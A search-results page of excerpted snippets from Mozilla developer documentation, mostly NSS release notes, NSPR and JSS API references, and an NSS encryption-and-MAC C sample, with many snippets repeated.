...ozilla brick project. mozilla-b2g the firefox os project. mozilla-appmaker the appmaker project -- a web tool to let non-programmers create apps. mozilla-l10n scripts and tools used by the localization drivers. mozilla-metrics tools used to collect metrics about mozilla code. mozilla-services mozilla cloud services projects. open
news the knight-mozilla open
news project, helping the journalism/technology community do great work through shared knowledge and code. pluotsorbet a j2me-compatible virtual machine written in javascript. rust-lang the rust programming language, designed for safe concurrent code. servo the next-generation rendering engine. ...
Preference reference
y preselected in the file picker for saving a file download is being remembered on a per-website (host) base. ...
...file picker for saving a file download is being remembered on a per-website (host) base. ...
...her the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "
new tab page" (about:
newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a
new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.t...
Logging
the file name of the log file. by default, no logging is enabled at execution time. log types and variables two types supporting nspr logging are exposed in the api: prlogmoduleinfo prlogmodulelevel two environment variables control the behavior of logging at execution time: nspr_log_modules nspr_log_file logging functions and macros the functions and macros for logging are: pr_
newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_static_assert (
new in nspr 4.6.6xxx this hasn't been released yet; the number is a logical guess) pr_not_reached use example the following sample code fragment demonstrates use of the logging and debugging aids. compile the program with debug defined. before running the com...
...logical guess) pr_not_reached use example the following sample code fragment demonstrates use of the logging and debugging aids. compile the program with debug defined. ...
...eached use example the following sample code fragment demonstrates use of the logging and debugging aids. compile the program with debug defined. ...
PL_HashTableAdd
if an entry with the same key already exists in the table, the freeentry function is invoked with the ht_free_value flag. you can write your freeentry function to free the value of the specified entry if the old value should be freed. ...
...lue to the hash table. syntax #include <plhash.h> plhashentry *pl_hashtableadd( plhashtable *ht, const void *key, void *value); parameters the function has the following parameters: ht a pointer to the the hash table to which to add the entry. key a pointer to the key for the entry to be added. value a pointer to the value for the entry to be added. returns a pointer to the
new entry. description add a
new entry with the specified key and value to the hash table. if an entry with the same key already exists in the table, the freeentry function is invoked with the ht_free_value flag. you can write your freeentry function to free the value of the specified entry if the old value should be freed. the default freeentry function does not free the value of the entry. pl_h...
...lue to the hash table. if an entry with the same key already exists in the table, the freeentry function is invoked with the ht_free_value flag. you can write your freeentry function to free the value of the specified entry if the old value should be freed. the default freeentry function does not free the value of the entry. pl_hashtableadd returns null if there is not enough memory to create a
new entry. it doubles the number of buckets if the table is overloaded. ...
PR_AcceptRead
this parameter is valid only if the function return does not indicate failure. peeraddr a pointer a pointer to a prnetaddr object. ...
...f, print32 amount, printervaltime timeout); parameters the function has the following parameters: listensock a pointer to a prfiledesc object representing a socket descriptor that has been called with the pr_listen function, also known as the rendezvous socket. acceptedsock a pointer to a pointer to a prfiledesc object. on return, *acceptedsock points to the prfiledesc object for the
newly connected socket. this parameter is valid only if the function return does not indicate failure. peeraddr a pointer a pointer to a prnetaddr object. on return, peeraddr points to the address of the remote socket. the prnetaddr object that peeraddr points to will be in the buffer pointed to by buf. this parameter is valid only if the function return does not indicate failure. buf a pointer t...
...only applies to the read portion of the operation. pr_acceptread blocks indefinitely until the connection is accepted; the read will time out after the timeout interval elapses. returns a positive number indicates the number of bytes read from the peer. the value -1 indicates a failure. the reason for the failure can be obtained by calling pr_geterror. description pr_acceptread accepts a
new connection and retrieves the
newly created socket's descriptor and the connecting peer's address. also, as its name suggests, pr_acceptread receives the first block of data sent by the peer. ...
PR_AtomicSet
returns the function returns the prior value of the referenced variable. description pr_atomicset first reads the value of var, then updates it with the supplied value. ...
... returns the function returns the prior value of the referenced variable. description pr_atomicset first reads the value of var, then updates it with the supplied value. ...
... returns the function returns the prior value of the referenced variable. description pr_atomicset first reads the value of var, then updates it with the supplied value. ...
JSS Provider Notes
the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss 3.2 implements several jce (java cryptography extension) algorithms. these algorithms have at various times been export-controlled by the us government. ...
...for this difference, but it is necessitated by a quirk in the nss implementation. in order to use a different token, use cryptomanager.setthreadtoken(). this sets the token to be used by the jss jca provider in the current thread. when you call getinstance() on a jca class, the jss provider checks the current per-thread default token (by calling cryptomanager.getthreadtoken()) and instructs the
new object to use that token for cryptographic operations. the per-thread default token setting is only consulted inside getinstance(). once a jca object has been created it will continue to use the same token, even if the application later changes the per-thread default token. whenever a
new thread is created, its token is initialized to the default, the internal key storage token. thus, the thre...
...se, the key should be wrapped (encrypted with another key), and then the encrypted key might be extractable from the token. this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the source key, and then tries to create a
new key on the target token from the encoded bits. both of these operations will fail if the source key is not extractable. the class java.security.spec.pbekeyspec in jdk versions earlier than 1.4 does not contain the salt and iteration fields, which are necessary for pbe key generation. these fields were added in jdk 1.4. if you are using a jdk (or jre) version earlier than 1.4, ...
Mozilla-JSS JCA Provider notes
the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorithms. these algorithms have at various times been export-controlled by the us government. jre therefore requires that jar files implementing jce algorithms be digitally signed by an approved organization. ...
...n for this difference, but it is necessitated by a quirk in the nss implementation. in order to use a different token, use cryptomanager.setthreadtoken(). this sets the token to be used by the jss jca provider in the current thread. when you call getinstance() on a jca class, the jss provider checks the current per-thread default token (by calling cryptomanager.getthreadtoken()) and instructs the
new object to use that token for cryptographic operations. the per-thread default token setting is only consulted inside getinstance(). once a jca object has been created it will continue to use the same token, even if the application later changes the per-thread default token. whenever a
new thread is created, its token is initialized to the default, the internal key storage token. thus, the thread ...
...1 token. in this case, the key should be wrapped (encrypted with another key), and then the encrypted key might be extractable from the token. this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the source key, and then tries to create a
new key on the target token from the encoded bits. both of these operations will fail if the source key is not extractable. the class java.security.spec.pbekeyspec in jdk versions earlier than 1.4 does not contain the salt and iteration fields, which are necessary for pbe key generation. these fields were added in jdk 1.4. if you are using a jdk (or jre) version earlier than 1.4, you cannot use clas...
NSS_3.11.10_release_notes.html
the bug fixes in nss 3.11.10 are described in the "bugs fixed" section below. distribution information the cvs tag for the nss 3.11.10 release is nss_3_11_10_rtm. nss 3.11.10 requires nspr 4.7.1. see the documentation section for the build instructions. ...
...token doesn't report token authentication failure bug 417637: tstclnt crashes if -p option is not specified bug 421634: don't send an sni client hello extension bearing an ipv6 address bug 422918: add verisign class 3 public primary ca - g5 to nss bug 424152: add thawte primary root ca to nss bug 424169: add geotrust primary certification authority root to nss bug 425469: add multiple
new roots: geotrust bug 426568: add comodo certification authority certificate to nss bug 431381: add network solutions certificate authority root to nss bug 431621: add diginotar root ca root to nss bug 431772: add network solutions and diginotar root certs to nss bug 442912: fix nssckbi version number on 3.11 branch bug 443045: fix pk11_generatekeypair for ecc keys on the 3.11 branch ...
...tar root certs to nss bug 442912: fix nssckbi version number on 3.11 branch bug 443045: fix pk11_generatekeypair for ecc keys on the 3.11 branch bug 444850: nss misbehaves badly in the presence of a disabled pkcs#11 slot bug 462948: lint warnings for source files that include keythi.h documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation.
new and revised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.11.10 shared libraries without recompiling or relinking. furthermore, application...
NSS 3.12.9 release notes
the bug fixes in nss 3.12.9 are described in the "bugs fixed" section below. nss 3.12.9 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.9 release is nss_3.12.9_rtm. nss 3.12.9 requires nspr 4.8.7. see the documentation section for the build instructions. nss 3.12.9 source distribution is also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3.12.9_rtm/src/. ...
...tp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3.12.9_rtm/src/. you also need to download the nspr 4.8.7 binary distributions to get the nspr 4.8.7 header files and shared libraries, which nss 3.12.9 requires. nspr 4.8.7 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.7/.
new in nss 3.12.9 removed functions
new ssl options
new error codes bugs fixed the following bugs have been fixed in nss 3.12.9. bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_cms_decoder_work_data] bug 613394: november/december 2010 batch of nss root ca changes bug 610843: need way to recover softoken in child after fork() bug 617492: add pk11_ke...
...22: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="
new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation.
new and revised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are backward...
NSS 3.15 release notes
introduction the nss team has released network security services (nss) 3.15, which is a minor release. distribution information the hg tag is nss_3_15_rtm. nss 3.15 requires nspr 4.10 or
newer. nss 3.15 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_rtm/src/
new in nss 3.15
new functionality support for ocsp stapling (rfc 6066, certificate status request) has been added for both client and server sockets. tls client applications may enable this via a call to ssl_optionsetdefault(ssl_enable_ocsp_stapling, pr_true); added function secitem_reallocitemv2. it replaces function secitem_reallocitem, which is now declared as obsolete. support for single-oper...
... this via a call to ssl_optionsetdefault(ssl_enable_ocsp_stapling, pr_true); added function secitem_reallocitemv2. it replaces function secitem_reallocitem, which is now declared as obsolete. support for single-operation (eg: not multi-part) symmetric key encryption and decryption, via pk11_encrypt and pk11_decrypt. certutil has been updated to support creating name constraints extensions.
new functions in ssl.h ssl_peerstapledocspresponse - returns the server's stapled ocsp response, when used with a tls client socket that negotiated the status_request extension. ssl_setstapledocspresponses - set's a stapled ocsp response for a tls server socket to return when clients send the status_request extension. in ocsp.h cert_postocsprequest - primarily...
...s item->len on allocation. for more details of the issues with secitem_reallocitem, see bug 298649 and bug 298938. in pk11pub.h pk11_decrypt - performs decryption as a single pkcs#11 operation (eg: not multi-part). this is necessary for aes-gcm. pk11_encrypt - performs encryption as a single pkcs#11 operation (eg: not multi-part). this is necessary for aes-gcm.
new types in secitem.h secitemarray - represents a variable-length array of secitems.
new macros in ssl.h ssl_enable_ocsp_stapling - used with ssl_optionset to configure tls client sockets to request the certificate_status extension (eg: ocsp stapling) when set to pr_true notable changes in nss 3.15 secitem_reallocitem is now deprecated. please conside...
NSS 3.16.1 release notes
introduction network security services (nss) 3.16.1 is a patch release for nss 3.16. the bug fixes in nss 3.16.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_1_rtm. nss 3.16.1 requires nspr 4.10.5 or
newer. ...
...a patch release for nss 3.16. the bug fixes in nss 3.16.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_1_rtm. nss 3.16.1 requires nspr 4.10.5 or
newer. nss 3.16.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_1_rtm/src/
new in nss 3.16.1
new functionality added the "ecc" flag for modutil to select the module used for elliptic curve cryptography (ecc) operations.
new functions in pk11pub.h pk11_exportderprivatekeyinfo and pk11_exportprivkeyinfo - exports a private key in a der-encoded asn.1 privatekeyinfo type or a seckeyprivatekeyinfo structure. only rsa private keys are supported now. in secmod.h ...
...yptography (ecc) operations.
new functions in pk11pub.h pk11_exportderprivatekeyinfo and pk11_exportprivkeyinfo - exports a private key in a der-encoded asn.1 privatekeyinfo type or a seckeyprivatekeyinfo structure. only rsa private keys are supported now. in secmod.h secmod_internaltopubmechflags - converts from nss-internal to public representation of mechanism flags.
new types in sslt.h ssl_padding_xtn - the value of this enum constant changed from the experimental value 35655 to the iana-assigned value 21. .
new macros in secmod.h public_mech_ecc_flag - a public mechanism flag for elliptic curve cryptography (ecc) operations. in utilmodt.h secmod_ecc_flag - an nss-internal mechanism flag for elliptic curve cryptography (ecc) ope...
NSS 3.16.2.3 release notes
introduction network security services (nss) 3.16.2.3 is a patch release for nss 3.16. the bug fixes in nss 3.16.2.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_2_3_rtm. nss 3.16.2.3 requires nspr 4.10.6 or
newer. ...
... for nss 3.16. the bug fixes in nss 3.16.2.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_2_3_rtm. nss 3.16.2.3 requires nspr 4.10.6 or
newer. nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/
new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1. ...
...2.3 requires nspr 4.10.6 or
newer. nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/
new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1.
new functionality tls_fallback_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
new macros in ssl.h ssl_enable_fallback_scsv - an ssl socket option that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a
new ssl error code. in sslproto.h tls_fallback_scsv - a a...
NSS 3.16 release notes
introduction the nss team has released network security services (nss) 3.16, which is a minor release. distribution information the hg tag is nss_3_16_rtm. nss 3.16 requires nspr 4.10.3 or
newer. nss 3.16 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_rtm/src/
new in nss 3.16
new functionality supports the linux x32 abi. (this requires nspr 4.10.4.) to build for the linux x32 target, set the environment variable use_x32=1 when building nss. ...
...spr 4.10.3 or
newer. nss 3.16 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_rtm/src/
new in nss 3.16
new functionality supports the linux x32 abi. (this requires nspr 4.10.4.) to build for the linux x32 target, set the environment variable use_x32=1 when building nss.
new functions in cms.h nss_cmssignerinfo_verify - verify the signature of a single signerinfo. it just verifies the signature, assuming that the certificate has been verified already.
new macros in sslproto.h tls_rsa_with_rc4_128_sha, tls_rsa_with_3des_ede_cbc_sha, etc. - cipher suites that were first defined in ssl 3.0 can now be referred to with their official iana names in tl...
...icate, the wildcard character should not be embedded within the u-label of an internationalized domain name. see the last bullet point in rfc 6125, section 7.2. bug 962760: libpkix should not include the common name of ca as dns names when evaluating name constraints. bug 981170: aeskeywrap_decrypt should not return secsuccess for invalid keys. bug 974693: fix a memory corruption in sec_pkcs12_
new_asafe. bug 956082: if the nss_sdb_use_cache environment variable is set, skip the runtime test sdb_measureaccess. the built-in roots module has been updated to version 1.97, which adds, removes, and distrusts several certificates. the atob utility has been improved to automatically ignore lines of text that aren't in base64 format. the certutil utility has been improved to support creation of...
NSS 3.17.1 release notes
introduction network security services (nss) 3.17.1 is a patch release for nss 3.17. the bug fixes in nss 3.17.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_17_1_rtm. nss 3.17.1 requires nspr 4.10.7 or
newer. ...
... available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.17.1. users are encouraged to upgrade immediately. bug 1064636 - (cve-2014-1568) rsa signature forgery in nss. see also mfsa 2014-73 for details.
new in nss 3.17.1 this patch release adds
new functionality and fixes a bug that caused nss to accept forged rsa signatures. a
new symbol, _sgn_verifypkcs1digestinfo is exported in this release. as with all exported nss symbols that have a leading underscore '_', this is an internal symbol for nss use only. applications that use or depend on these symbols can and will break in future nss releases. ...
...in nss 3.17.1 this patch release adds
new functionality and fixes a bug that caused nss to accept forged rsa signatures. a
new symbol, _sgn_verifypkcs1digestinfo is exported in this release. as with all exported nss symbols that have a leading underscore '_', this is an internal symbol for nss use only. applications that use or depend on these symbols can and will break in future nss releases.
new functionality tls_fallback_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
new macros in ssl.h ssl_enable_fallback_scsv - an ssl socket option that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a
new ssl error code. in sslproto.h tls_fallback_scsv - a a...
NSS 3.19 release notes
introduction the nss team has released network security services (nss) 3.19, which is a minor security release. distribution information the hg tag is nss_3_19_rtm. nss 3.19 requires nspr 4.10.8 or
newer. nss 3.19 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_rtm/src/ security fixes in nss 3.19 bug 1086145 / cve-2015-2721 - fixed a bug related to the ordering of tls handshake messages. this was also known as smack. ...
...3_19_rtm. nss 3.19 requires nspr 4.10.8 or
newer. nss 3.19 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_rtm/src/ security fixes in nss 3.19 bug 1086145 / cve-2015-2721 - fixed a bug related to the ordering of tls handshake messages. this was also known as smack.
new in nss 3.19
new functionality for some certificates, such as root ca certificates that don't embed any constraints, nss might impose additional constraints such as name constraints. a
new api (cert_getimposednameconstraints) has been added that allows one to lookup imposed constraints. it is possible to override the directory (sqlite_lib_dir) in which the nss build system will look for the s...
... functionality for some certificates, such as root ca certificates that don't embed any constraints, nss might impose additional constraints such as name constraints. a
new api (cert_getimposednameconstraints) has been added that allows one to lookup imposed constraints. it is possible to override the directory (sqlite_lib_dir) in which the nss build system will look for the sqlite library.
new functions in cert.h cert_getimposednameconstraints - check if any imposed constraints exist for the given certificate, and if found, return the constraints as encoded certificate extensions. notable changes in nss 3.19 the ssl 3 protocol has been disabled by default. nss now more strictly validates tls extensions and will fail a handshake that contains malformed extensions (b...
NSS 3.26 release notes
introduction the network security services (nss) team has released nss 3.26, which is a minor release. distribution information the hg tag is nss_3_26_rtm. nss 3.26 requires netscape portable runtime (nspr) 4.12 or
newer. ...
...twork security services (nss) team has released nss 3.26, which is a minor release. distribution information the hg tag is nss_3_26_rtm. nss 3.26 requires netscape portable runtime (nspr) 4.12 or
newer. ...
...rvices (nss) team has released nss 3.26, which is a minor release. distribution information the hg tag is nss_3_26_rtm. nss 3.26 requires netscape portable runtime (nspr) 4.12 or
newer. ...
NSS 3.28.3 release notes
introduction network security services (nss) 3.28.3 is a patch release for nss 3.28. the bug fixes in nss 3.28.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_28_3_rtm. nss 3.28.3 requires netscape portable runtime (nspr) 4.13.1 or
newer. nss 3.28.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/
new in nss 3.28.3
new functionality no
new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.28.3 nss version 3.28, 3.28.1 and 3.28.2 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of ...
...de an additional attribute. that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a
new attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the attribute, and will always set it to ecpoint_undefined. see bug 1340103. compatibility nss 3.28.3 shared libraries are backward compatible with m...
...compatible with future versions of the nss shared libraries. if you had compiled your application against header files of nss 3.28, nss 3.28.1 or nss 3.28.2, it it recommended that you recompile your application against nss 3.28.3, at the time you upgrade to nss 3.28.3. please note that nss 3.29 also contained the incorrect change. you should avoid using nss 3.29, and rather use nss 3.29.1 or a
newer version. see also the separate release notes for nss 3.29.1 feedback bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss). ...
NSS 3.28 release notes
introduction the network security services (nss) team has released nss 3.28, which is a minor release. distribution information the hg tag is nss_3_28_rtm. nss 3.28 requires netscape portable runtime (nspr) 4.13.1 or
newer. nss 3.28 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_rtm/src/
new in nss 3.28
new functionality nss includes support for tls 1.3 draft -18. this includes a number of improvements to tls 1.3: the signed certificate timestamp, used in certificate transparency, is supported in tls 1.3 (bug 1252745). key exporters for tls 1.3 are supported (bug 1310610). this includes the early key exporter, which can be used if 0-rtt i...
... a difference between tls 1.3 and key exporters in older versions of tls. tls 1.3 does not distinguish between an empty context and no context. the tls 1.3 (draft) protocol can be enabled, by defining nss_enable_tls_1_3=1 when building nss. nss includes support for the x25519 key exchange algorithm (bug 957105), which is supported and enabled by default in all versions of tls.
new functions in ssl.h ssl_exportearlykeyingmaterial implements a key exporter based on the tls 1.3 early exporter secret. this api is equivalent in function to ssl_exportkeyingmaterial, but it can only succeed if 0-rtt was attempted (on the client) or accepted (on the server). ssl_sendadditionalkeyshares configures a tls 1.3 client so that it generates additional key share...
....2. nss will now only generate signatures with the combinations of hash and signature scheme that are defined in tls 1.3, even when negotiating tls 1.2. this means that sha-256 will only be used with p-256 ecdsa certificates, sha-384 with p-384 certificates, and sha-512 with p-521 certificates. sha-1 is permitted (in tls 1.2 only) with any certificate for backward compatibility reasons.
new functions to configure signature schemes are provided: ssl_signatureschemeprefset, ssl_signatureschemeprefget. the old ssl_signatureprefset and ssl_signatureprefset functions are now deprecated. nss will now no longer assume that default signature schemes are supported by a peer if there was no commonly supported signature scheme. nss will now check if rsa-pss signing is supported by the...
NSS 3.30 release notes
introduction the network security services (nss) team has released nss 3.30, which is a minor release. distribution information the hg tag is nss_3_30_rtm. nss 3.30 requires netscape portable runtime (nspr); 4.13.1 or
newer. nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/
new in nss 3.30
new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a
new boolean attribute, cka_nss_mozilla_ca_policy, set to true. applications that need to distinguish them from other other root cas, may use the exported function pk11_hasattributeset. support for callback functions that can be used to monitor ssl/tl...
... in pk11pub.h pk11_hasattributeset - allows to check if a pkcs#11 object in a given slot has a specific boolean attribute set. ...
...ster a callback function, that will be called whenever an ssl/tls alert is received ssl_alertsentcallback - register a callback function, that will be called whenever an ssl/tls alert is sent ssl_setsessionticketkeypair - configures an asymmetric key pair, for use in wrapping session ticket keys, used by the server. this function currently only accepts an rsa public/private key pair. ...
NSS 3.31 release notes
introduction the network security services (nss) team has released nss 3.31, which is a minor release. distribution information the hg tag is nss_3_31_rtm. nss 3.31 requires netscape portable runtime (nspr) 4.15 or
newer. nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/
new in nss 3.31
new functionality allow certificates to be specified by rfc7512 pkcs#11 uris. allow querying a certificate object for its temporary or permanent storage status in a thread safe way.
new functions in cert.h cert_getcertisperm - retrieve the permanent storage status attribute of a certificate in a thread safe way. cert_getcertistemp - retr...
...hread safe way. in pk11pub.h pk11_findcertfromuri - find a certificate identified by the given uri. pk11_findcertsfromuri - find a list of certificates identified by the given uri. pk11_getmoduleuri - retrieve the uri of the given module. pk11_gettokenuri - retrieve the uri of a token based on the given slot information. ...
... pk11uri_createuri - create a
new pk11uri object from a set of attributes. pk11uri_destroyuri - destroy a pk11uri object. pk11uri_formaturi - format a pk11uri object to a string. pk11uri_getpathattribute - retrieve a path attribute with the given name. pk11uri_getqueryattribute - retrieve a query attribute with the given name. pk11uri_parseuri - parse pkcs#11 uri and return a
new pk11uri object.
new macros in pkcs11uri.h several
new macros that start with pk11uri_pattr_ for path attributes defined in rfc7512. several
new macros that start with pk11uri_qattr_ for query attributes defined in rfc7512. notable changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide c...
NSS 3.36 release notes
notable changes in nss 3.36 replaced existing vectorized chacha20 code with verified hacl* implementation. ...
... notable changes in nss 3.36 replaced existing vectorized chacha20 code with verified hacl* implementation. ...
... notable changes in nss 3.36 replaced existing vectorized chacha20 code with verified hacl* implementation. ...
NSS 3.52 release notes
introduction the nss team has released network security services (nss) 3.52 on 1 may 2020. the nss team would like to recognize first-time contributors: zhujianwei7 hans petter jansson distribution information the hg tag is nss_3_52_rtm. nss 3.52 requires nspr 4.25 or
newer. nss 3.52 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_rtm/src/ other releases are available in nss releases. notable changes in nss 3.52 bug 1603628 - update nss to support pkcs #11 v3.0. note: this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition. i...
...k_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition. if an application is recompiled with nss 3.52+, this field must be initialized to a value corresponding to ulivlen. alternatively, defining nss_pkcs11_2_0_compat will yield the old definition. see the bug for more information. bug 1623374 - support
new pkcs #11 v3.0 message interface for aes-gcm and chachapoly. bug 1612493 - integrate avx2 chacha20, poly1305, and chacha20poly1305 from hacl*. bugs fixed in nss 3.52 bug 1633498 - fix unused variable 'getauxval' error on ios compilation. bug 1630721 - add softoken functions for fips. bug 1630458 - fix problem of gyp msvc builds not producing debug symbol files. bug 1629663 - add ikev1 qui...
... generation of fuzz32 docker image after updates. bug 1625133 - fix implicit declaration of function 'getopt' error. bug 1624864 - allow building of gcm-arm32-neon on non-armv7 architectures. bug 1624402 - fix compilation error in firefox android. bug 1624130 - require ck_function_list structs to be packed. bug 1624377 - fix clang warning for unknown argument '-msse4'. bug 1623374 - support
new pkcs #11 v3.0 message interface for aes-gcm and chachapoly. bug 1623184 - fix freebl_cpuid for querying extended features. bug 1622555 - fix argument parsing in lowhashtest. bug 1620799 - introduce nss_disable_gcm_arm32_neon to build on arm32 without neon support. bug 1619102 - add workaround option to include both dtls and tls versions in dtls supported_versions. bug 1619056 - update readme...
EncDecMAC using token object - sample 3
decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char
newmac[digestsize]; unsigned int
newmaclen = 0; unsigned int
newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned char iv[blocksize]; unsigned int ivlen = ivitem->len; unsigned int filelength; unsigned int paddinglength; int j; memcpy(iv, ivitem->data, iv...
...unt == filelength) { decbuflen = decbuflen-paddinglength; } /* write the plain text to out file */ temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac,
newmac, &
newmaclen, sizeof(
newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data,
newmac,
newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); printashex(pr_stderr,
newmac,
newmaclen); rv = secfailure; } clea...
...e to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
FC_GenerateKey
a user must log into the token (to assume the nss user role) before calling fc_generatekey. ...
...a user must log into the token (to assume the nss user role) before calling fc_generatekey. ...
...sion_handle hsession, ck_mechanism_ptr pmechanism, ck_attribute_ptr ptemplate, ck_ulong ulcount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle. pmechanism [in] pointer to the mechanism to use. ptemplate [in] pointer to the template for the
new key. ulcount [in] number of attributes in the template. phkey [out] pointer to the location to receive the handle of the
new key. description fc_generatekey generates a secret key, creating a
new key object. the handle of
new key is returned. a user must log into the token (to assume the nss user role) before calling fc_generatekey. return value examples see also nsc_generatekey ...
NSS tools : crlutil
